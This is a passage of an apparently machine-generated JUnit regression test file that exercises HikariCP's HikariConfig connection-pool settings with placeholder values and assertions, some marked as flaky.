org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertEquals("'" + str14 + "' != '" + "hi!" + "'", str14, "hi!");
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + (-1) + "'", int19 == (-1));
org.junit.Assert.assertNull(str22);
org.junit.Assert.assertTrue("'" + int23 + "' != '" + 60 + "'", int23 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long24 + "' != '" + 60L + "'", long24 == 60L);
org.junit.Assert.assertTrue("'" + int25 + "' != '" + 60 + "'", int25 == 60);
org.junit.Assert.assertNull(str26);
org.junit.Assert.assertTrue("'" + int27 + "' != '" + 3 + "'", int27 == 3);
org.junit.Assert.assertTrue("'" + boolean46 + "' != '" + true + "'", boolean46 == true);
org.junit.Assert.assertTrue("'" + int47 + "' != '" + 0 + "'", int47 == 0);
org.junit.Assert.assertNotNull(properties48);
org.junit.Assert.assertTrue("'" + boolean52 + "' != '" + true + "'", boolean52 == true);
org.junit.Assert.assertNull(str55);
org.junit.Assert.assertNotNull(properties58);
}
@Test
public void test19034() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19034");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
hikariConfig1.isJdbc4connectionTest = false;
boolean boolean11 = hikariConfig1.isInitializationFailFast;
int int12 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setAcquireRetries((int) (short) 0);
javax.sql.DataSource dataSource15 = null;
hikariConfig1.setDataSource(dataSource15);
hikariConfig1.setPoolName("HikariPool-11117");
java.lang.String str19 = hikariConfig1.getDataSourceClassName();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean11 + "' != '" + false + "'", boolean11 == false);
org.junit.Assert.assertTrue("'" + int12 + "' != '" + (-1) + "'", int12 == (-1));
org.junit.Assert.assertNull(str19);
}
@Test
public void test19035() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19035");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
long long2 = hikariConfig1.getLeakDetectionThreshold();
long long3 = hikariConfig1.getLeakDetectionThreshold();
java.lang.String str4 = hikariConfig1.getCatalog();
hikariConfig1.maxPoolSize = (byte) 1;
org.junit.Assert.assertTrue("'" + long2 + "' != '" + 0L + "'", long2 == 0L);
org.junit.Assert.assertTrue("'" + long3 + "' != '" + 0L + "'", long3 == 0L);
org.junit.Assert.assertNull(str4);
}
@Test
public void test19036() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19036");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.dataSourceClassName = "";
hikariConfig1.isRegisterMbeans = true;
java.lang.String str9 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setConnectionTimeout((long) (short) 100);
javax.sql.DataSource dataSource12 = null;
hikariConfig1.setDataSource(dataSource12);
javax.sql.DataSource dataSource14 = hikariConfig1.dataSource;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertNull(dataSource14);
}
@Test
public void test19037() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19037");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
boolean boolean7 = hikariConfig1.isRegisterMbeans();
javax.sql.DataSource dataSource8 = null;
hikariConfig1.setDataSource(dataSource8);
int int10 = hikariConfig1.maxPoolSize;
long long11 = hikariConfig1.idleTimeout;
hikariConfig1.setMaximumPoolSize((int) (byte) 10);
long long14 = hikariConfig1.getConnectionTimeout();
hikariConfig1.connectionTimeout = 3L;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + false + "'", boolean7 == false);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 60 + "'", int10 == 60);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 60L + "'", long11 == 60L);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 10L + "'", long14 == 10L);
}
@Test
public void test19038() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19038");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
java.lang.String str3 = hikariConfig1.getConnectionTestQuery();
int int4 = hikariConfig1.maxPoolSize;
long long5 = hikariConfig1.leakDetectionThreshold;
hikariConfig1.dataSourceClassName = "HikariPool-1834";
long long8 = hikariConfig1.getConnectionTimeout();
hikariConfig1.poolName = "";
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str3);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 60 + "'", int4 == 60);
org.junit.Assert.assertTrue("'" + long5 + "' != '" + 0L + "'", long5 == 0L);
// flaky: org.junit.Assert.assertTrue("'" + long8 + "' != '" + 10L + "'", long8 == 10L);
}
@Test
public void test19039() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19039");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
hikariConfig1.acquireRetries = (short) 10;
int int8 = hikariConfig1.getAcquireIncrement();
java.lang.String str9 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setRegisterMbeans(true);
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int8 + "' != '" + 0 + "'", int8 == 0);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19040() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19040");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
int int21 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 87L;
java.lang.String str24 = hikariConfig1.getDataSourceClassName();
java.lang.String str25 = hikariConfig1.getDataSourceClassName();
hikariConfig1.transactionIsolationName = "HikariPool-203";
java.util.Properties properties29 = null;
com.zaxxer.hikari.HikariConfig hikariConfig30 = new com.zaxxer.hikari.HikariConfig(properties29);
hikariConfig30.leakDetectionThreshold = 100;
boolean boolean33 = hikariConfig30.isJdbc4ConnectionTest();
boolean boolean34 = hikariConfig30.isJdbc4connectionTest;
boolean boolean35 = hikariConfig30.isJdbc4ConnectionTest();
int int36 = hikariConfig30.getAcquireIncrement();
java.util.Properties properties37 = hikariConfig30.dataSourceProperties;
hikariConfig30.setConnectionTestQuery("HikariPool-789");
java.util.Properties properties40 = null;
com.zaxxer.hikari.HikariConfig hikariConfig41 = new com.zaxxer.hikari.HikariConfig(properties40);
hikariConfig41.leakDetectionThreshold = 100;
hikariConfig41.setRegisterMbeans(false);
hikariConfig41.isRegisterMbeans = false;
hikariConfig41.setConnectionInitSql("HikariPool-780");
java.lang.String str50 = hikariConfig41.getPoolName();
java.util.Properties properties51 = null;
com.zaxxer.hikari.HikariConfig hikariConfig52 = new com.zaxxer.hikari.HikariConfig(properties51);
hikariConfig52.leakDetectionThreshold = 100;
boolean boolean55 = hikariConfig52.isJdbc4connectionTest;
long long56 = hikariConfig52.getIdleTimeout();
hikariConfig52.setUseInstrumentation(false);
hikariConfig52.setJdbc4ConnectionTest(false);
java.util.Properties properties61 = hikariConfig52.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig62 = new com.zaxxer.hikari.HikariConfig(properties61);
hikariConfig41.setDataSourceProperties(properties61);
hikariConfig30.setDataSourceProperties(properties61);
hikariConfig30.isAutoCommit = true;
int int67 = hikariConfig30.getMaximumPoolSize();
int int68 = hikariConfig30.acquireRetries;
hikariConfig1.addDataSourceProperty("HikariPool-280", (java.lang.Object) hikariConfig30);
hikariConfig30.minPoolSize = (-1);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
org.junit.Assert.assertNull(str25);
org.junit.Assert.assertTrue("'" + boolean33 + "' != '" + true + "'", boolean33 == true);
org.junit.Assert.assertTrue("'" + boolean34 + "' != '" + true + "'", boolean34 == true);
org.junit.Assert.assertTrue("'" + boolean35 + "' != '" + true + "'", boolean35 == true);
org.junit.Assert.assertTrue("'" + int36 + "' != '" + 0 + "'", int36 == 0);
org.junit.Assert.assertNotNull(properties37);
// flaky: org.junit.Assert.assertEquals("'" + str50 + "' != '" + "HikariPool-50626" + "'", str50, "HikariPool-50626");
org.junit.Assert.assertTrue("'" + boolean55 + "' != '" + true + "'", boolean55 == true);
// flaky: org.junit.Assert.assertTrue("'" + long56 + "' != '" + 60L + "'", long56 == 60L);
org.junit.Assert.assertNotNull(properties61);
org.junit.Assert.assertTrue("'" + int67 + "' != '" + 60 + "'", int67 == 60);
org.junit.Assert.assertTrue("'" + int68 + "' != '" + 3 + "'", int68 == 3);
}
@Test
public void test19041() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19041");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
long long6 = hikariConfig1.getIdleTimeout();
java.lang.String str7 = hikariConfig1.getCatalog();
java.util.Properties properties8 = hikariConfig1.getDataSourceProperties();
java.lang.String str9 = hikariConfig1.getConnectionCustomizerClassName();
long long10 = hikariConfig1.getLeakDetectionThreshold();
hikariConfig1.connectionInitSql = "HikariPool-69";
boolean boolean13 = hikariConfig1.isAutoCommit;
hikariConfig1.setJdbc4ConnectionTest(false);
hikariConfig1.setTransactionIsolation("HikariPool-1825");
boolean boolean18 = hikariConfig1.isInitializationFailFast;
hikariConfig1.dataSourceClassName = "HikariPool-181";
hikariConfig1.catalog = "HikariPool-245";
hikariConfig1.transactionIsolation = '#';
hikariConfig1.connectionTimeout = 100;
java.lang.String str27 = hikariConfig1.getConnectionCustomizerClassName();
hikariConfig1.setJdbc4ConnectionTest(true);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
// flaky: org.junit.Assert.assertTrue("'" + long6 + "' != '" + 60L + "'", long6 == 60L);
org.junit.Assert.assertNull(str7);
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertNull(str9);
org.junit.Assert.assertTrue("'" + long10 + "' != '" + 0L + "'", long10 == 0L);
org.junit.Assert.assertTrue("'" + boolean13 + "' != '" + true + "'", boolean13 == true);
org.junit.Assert.assertTrue("'" + boolean18 + "' != '" + false + "'", boolean18 == false);
org.junit.Assert.assertNull(str27);
}
@Test
public void test19042() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19042");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
java.lang.String str5 = hikariConfig1.transactionIsolationName;
int int6 = hikariConfig1.getMaximumPoolSize();
int int7 = hikariConfig1.transactionIsolation;
java.util.Properties properties8 = hikariConfig1.dataSourceProperties;
boolean boolean9 = hikariConfig1.isRegisterMbeans;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
hikariConfig1.isRegisterMbeans = false;
hikariConfig1.setIdleTimeout(1L);
java.lang.String str15 = hikariConfig1.getDataSourceClassName();
boolean boolean16 = hikariConfig1.isAutoCommit;
java.lang.String str17 = hikariConfig1.getDataSourceClassName();
java.lang.String str18 = hikariConfig1.getConnectionInitSql();
int int19 = hikariConfig1.acquireRetries;
java.lang.String str20 = hikariConfig1.getCatalog();
hikariConfig1.setAcquireRetries((int) (short) 100);
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertTrue("'" + int6 + "' != '" + 60 + "'", int6 == 60);
org.junit.Assert.assertTrue("'" + int7 + "' != '" + (-1) + "'", int7 == (-1));
org.junit.Assert.assertNotNull(properties8);
org.junit.Assert.assertTrue("'" + boolean9 + "' != '" + false + "'", boolean9 == false);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str15);
org.junit.Assert.assertTrue("'" + boolean16 + "' != '" + true + "'", boolean16 == true);
org.junit.Assert.assertNull(str17);
org.junit.Assert.assertNull(str18);
org.junit.Assert.assertTrue("'" + int19 + "' != '" + 3 + "'", int19 == 3);
org.junit.Assert.assertNull(str20);
}
@Test
public void test19043() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19043");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setTransactionIsolation("hi!");
hikariConfig1.setInitializationFailFast(false);
int int9 = hikariConfig1.maxPoolSize;
boolean boolean10 = hikariConfig1.isInitializationFailFast;
java.lang.String str11 = hikariConfig1.connectionInitSql;
java.util.Properties properties12 = hikariConfig1.dataSourceProperties;
com.zaxxer.hikari.HikariConfig hikariConfig13 = new com.zaxxer.hikari.HikariConfig(properties12);
com.zaxxer.hikari.HikariConfig hikariConfig14 = new com.zaxxer.hikari.HikariConfig(properties12);
boolean boolean15 = hikariConfig14.isAutoCommit();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 60 + "'", int9 == 60);
org.junit.Assert.assertTrue("'" + boolean10 + "' != '" + false + "'", boolean10 == false);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + true + "'", boolean15 == true);
}
@Test
public void test19044() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19044");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
java.lang.String str5 = hikariConfig1.dataSourceClassName;
java.lang.String str6 = hikariConfig1.dataSourceClassName;
hikariConfig1.setJdbc4ConnectionTest(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer9 = hikariConfig1.connectionCustomizer;
hikariConfig1.setMaxLifetime((long) (short) 0);
hikariConfig1.setAcquireRetries(100);
long long14 = hikariConfig1.getIdleTimeout();
boolean boolean15 = hikariConfig1.isJdbc4connectionTest;
hikariConfig1.setPoolName("HikariPool-222");
int int18 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setInitializationFailFast(true);
hikariConfig1.setAutoCommit(true);
hikariConfig1.setConnectionCustomizerClassName("HikariPool-447");
hikariConfig1.setMaximumPoolSize(52);
hikariConfig1.connectionTestQuery = "HikariPool-2371";
int int29 = hikariConfig1.getAcquireIncrement();
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(str6);
org.junit.Assert.assertNull(iConnectionCustomizer9);
// flaky: org.junit.Assert.assertTrue("'" + long14 + "' != '" + 60L + "'", long14 == 60L);
org.junit.Assert.assertTrue("'" + boolean15 + "' != '" + false + "'", boolean15 == false);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertTrue("'" + int29 + "' != '" + 0 + "'", int29 == 0);
}
@Test
public void test19045() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19045");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.lang.String str9 = hikariConfig1.getDataSourceClassName();
long long10 = hikariConfig1.getMaxLifetime();
long long11 = hikariConfig1.getMaxLifetime();
java.lang.Class<?> wildcardClass12 = hikariConfig1.getClass();
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertNull(str9);
// flaky: org.junit.Assert.assertTrue("'" + long10 + "' != '" + 35L + "'", long10 == 35L);
// flaky: org.junit.Assert.assertTrue("'" + long11 + "' != '" + 35L + "'", long11 == 35L);
org.junit.Assert.assertNotNull(wildcardClass12);
}
@Test
public void test19046() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19046");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
hikariConfig1.poolName = "hi!";
hikariConfig1.setMinimumPoolSize(1);
javax.sql.DataSource dataSource7 = null;
hikariConfig1.dataSource = dataSource7;
int int9 = hikariConfig1.minPoolSize;
int int10 = hikariConfig1.minPoolSize;
java.lang.String str11 = hikariConfig1.dataSourceClassName;
java.util.Properties properties12 = hikariConfig1.getDataSourceProperties();
long long13 = hikariConfig1.getConnectionTimeout();
hikariConfig1.setCatalog("HikariPool-770");
java.util.Properties properties16 = hikariConfig1.getDataSourceProperties();
hikariConfig1.transactionIsolationName = "HikariPool-11972";
java.util.Properties properties19 = null;
com.zaxxer.hikari.HikariConfig hikariConfig20 = new com.zaxxer.hikari.HikariConfig(properties19);
int int21 = hikariConfig20.getTransactionIsolation();
hikariConfig20.setRegisterMbeans(false);
java.lang.String str24 = hikariConfig20.connectionTestQuery;
long long25 = hikariConfig20.getIdleTimeout();
hikariConfig20.setJdbc4ConnectionTest(false);
java.lang.String str28 = hikariConfig20.getCatalog();
javax.sql.DataSource dataSource29 = hikariConfig20.dataSource;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer30 = null;
hikariConfig20.connectionCustomizer = iConnectionCustomizer30;
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer32 = null;
hikariConfig20.connectionCustomizer = iConnectionCustomizer32;
java.util.Properties properties34 = null;
com.zaxxer.hikari.HikariConfig hikariConfig35 = new com.zaxxer.hikari.HikariConfig(properties34);
boolean boolean36 = hikariConfig35.isAutoCommit;
hikariConfig35.poolName = "hi!";
hikariConfig35.setTransactionIsolation("hi!");
boolean boolean41 = hikariConfig35.isRegisterMbeans();
java.lang.String str42 = hikariConfig35.poolName;
int int43 = hikariConfig35.getTransactionIsolation();
java.util.Properties properties45 = null;
com.zaxxer.hikari.HikariConfig hikariConfig46 = new com.zaxxer.hikari.HikariConfig(properties45);
hikariConfig46.setConnectionInitSql("hi!");
hikariConfig46.minPoolSize = (short) 0;
javax.sql.DataSource dataSource51 = hikariConfig46.getDataSource();
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer52 = hikariConfig46.connectionCustomizer;
hikariConfig46.setPoolName("HikariPool-104");
long long55 = hikariConfig46.connectionTimeout;
hikariConfig46.setConnectionTestQuery("HikariPool-500");
hikariConfig46.isAutoCommit = true;
hikariConfig35.addDataSourceProperty("HikariPool-453", (java.lang.Object) true);
java.util.Properties properties61 = hikariConfig35.dataSourceProperties;
hikariConfig20.dataSourceProperties = properties61;
hikariConfig1.dataSourceProperties = properties61;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int9 + "' != '" + 1 + "'", int9 == 1);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + 1 + "'", int10 == 1);
org.junit.Assert.assertNull(str11);
org.junit.Assert.assertNotNull(properties12);
// flaky: org.junit.Assert.assertTrue("'" + long13 + "' != '" + 10L + "'", long13 == 10L);
org.junit.Assert.assertNotNull(properties16);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertNull(str24);
// flaky: org.junit.Assert.assertTrue("'" + long25 + "' != '" + 60L + "'", long25 == 60L);
org.junit.Assert.assertNull(str28);
org.junit.Assert.assertNull(dataSource29);
org.junit.Assert.assertTrue("'" + boolean36 + "' != '" + true + "'", boolean36 == true);
org.junit.Assert.assertTrue("'" + boolean41 + "' != '" + false + "'", boolean41 == false);
org.junit.Assert.assertEquals("'" + str42 + "' != '" + "hi!" + "'", str42, "hi!");
org.junit.Assert.assertTrue("'" + int43 + "' != '" + (-1) + "'", int43 == (-1));
org.junit.Assert.assertNull(dataSource51);
org.junit.Assert.assertNull(iConnectionCustomizer52);
// flaky: org.junit.Assert.assertTrue("'" + long55 + "' != '" + 10L + "'", long55 == 10L);
org.junit.Assert.assertNotNull(properties61);
}
@Test
public void test19047() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19047");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
boolean boolean2 = hikariConfig1.isAutoCommit;
int int3 = hikariConfig1.getAcquireIncrement();
int int4 = hikariConfig1.getAcquireIncrement();
java.lang.String str5 = hikariConfig1.connectionCustomizerClassName;
hikariConfig1.setCatalog("HikariPool-204");
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
hikariConfig1.transactionIsolationName = "HikariPool-306";
hikariConfig1.setDataSourceClassName("HikariPool-1093");
java.lang.String str13 = hikariConfig1.dataSourceClassName;
boolean boolean14 = hikariConfig1.isAutoCommit;
org.junit.Assert.assertTrue("'" + boolean2 + "' != '" + true + "'", boolean2 == true);
org.junit.Assert.assertTrue("'" + int3 + "' != '" + 0 + "'", int3 == 0);
org.junit.Assert.assertTrue("'" + int4 + "' != '" + 0 + "'", int4 == 0);
org.junit.Assert.assertNull(str5);
org.junit.Assert.assertNull(iConnectionCustomizer8);
org.junit.Assert.assertEquals("'" + str13 + "' != '" + "HikariPool-1093" + "'", str13, "HikariPool-1093");
org.junit.Assert.assertTrue("'" + boolean14 + "' != '" + true + "'", boolean14 == true);
}
@Test
public void test19048() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19048");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.setRegisterMbeans(false);
hikariConfig1.isInitializationFailFast = true;
int int7 = hikariConfig1.acquireRetries;
hikariConfig1.setMaxLifetime((long) (-1));
int int10 = hikariConfig1.getTransactionIsolation();
java.util.Properties properties11 = null;
com.zaxxer.hikari.HikariConfig hikariConfig12 = new com.zaxxer.hikari.HikariConfig(properties11);
int int13 = hikariConfig12.getTransactionIsolation();
hikariConfig12.setRegisterMbeans(false);
java.lang.String str16 = hikariConfig12.transactionIsolationName;
int int17 = hikariConfig12.getMaximumPoolSize();
int int18 = hikariConfig12.transactionIsolation;
java.util.Properties properties19 = hikariConfig12.dataSourceProperties;
hikariConfig1.setDataSourceProperties(properties19);
int int21 = hikariConfig1.getTransactionIsolation();
int int22 = hikariConfig1.acquireRetries;
hikariConfig1.setIdleTimeout((long) '4');
long long25 = hikariConfig1.maxLifetime;
hikariConfig1.setCatalog("HikariPool-43");
int int28 = hikariConfig1.getTransactionIsolation();
boolean boolean29 = hikariConfig1.isRegisterMbeans;
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + int7 + "' != '" + 3 + "'", int7 == 3);
org.junit.Assert.assertTrue("'" + int10 + "' != '" + (-1) + "'", int10 == (-1));
org.junit.Assert.assertTrue("'" + int13 + "' != '" + (-1) + "'", int13 == (-1));
org.junit.Assert.assertNull(str16);
org.junit.Assert.assertTrue("'" + int17 + "' != '" + 60 + "'", int17 == 60);
org.junit.Assert.assertTrue("'" + int18 + "' != '" + (-1) + "'", int18 == (-1));
org.junit.Assert.assertNotNull(properties19);
org.junit.Assert.assertTrue("'" + int21 + "' != '" + (-1) + "'", int21 == (-1));
org.junit.Assert.assertTrue("'" + int22 + "' != '" + 3 + "'", int22 == 3);
org.junit.Assert.assertTrue("'" + long25 + "' != '" + (-1L) + "'", long25 == (-1L));
org.junit.Assert.assertTrue("'" + int28 + "' != '" + (-1) + "'", int28 == (-1));
org.junit.Assert.assertTrue("'" + boolean29 + "' != '" + false + "'", boolean29 == false);
}
@Test
public void test19049() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19049");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
int int2 = hikariConfig1.getTransactionIsolation();
hikariConfig1.maxLifetime = 32L;
hikariConfig1.connectionCustomizerClassName = "HikariPool-104";
boolean boolean7 = hikariConfig1.isJdbc4connectionTest;
boolean boolean8 = hikariConfig1.isAutoCommit;
java.lang.String str9 = hikariConfig1.getCatalog();
org.junit.Assert.assertTrue("'" + int2 + "' != '" + (-1) + "'", int2 == (-1));
org.junit.Assert.assertTrue("'" + boolean7 + "' != '" + true + "'", boolean7 == true);
org.junit.Assert.assertTrue("'" + boolean8 + "' != '" + true + "'", boolean8 == true);
org.junit.Assert.assertNull(str9);
}
@Test
public void test19050() throws Throwable {
if (debug)
System.out.format("%n%s%n", "RegressionTest38.test19050");
java.util.Properties properties0 = null;
com.zaxxer.hikari.HikariConfig hikariConfig1 = new com.zaxxer.hikari.HikariConfig(properties0);
hikariConfig1.leakDetectionThreshold = 100;
hikariConfig1.minPoolSize = (byte) 1;
hikariConfig1.setRegisterMbeans(false);
com.zaxxer.hikari.IConnectionCustomizer iConnectionCustomizer8 = hikariConfig1.connectionCustomizer;
java.util.Properties properties10 = null;
com.zaxxer.hikari.HikariConfig hikariConfig11 = new com.zaxxer.hikari.HikariConfig(properties10);
int int12 = hikariConfig11.getTransactionIsolation();
hikariConfig11.setRegisterMbeans(false);
java.lang.String str15 = hikariConfig11.transactionIsolationName;
int int16 = hikariConfig11.getMaximumPoolSize();
int int17 = hikariConfig11.transactionIsolation;
java.util.Properties properties18 = hikariConfig11.dataSourceProperties;
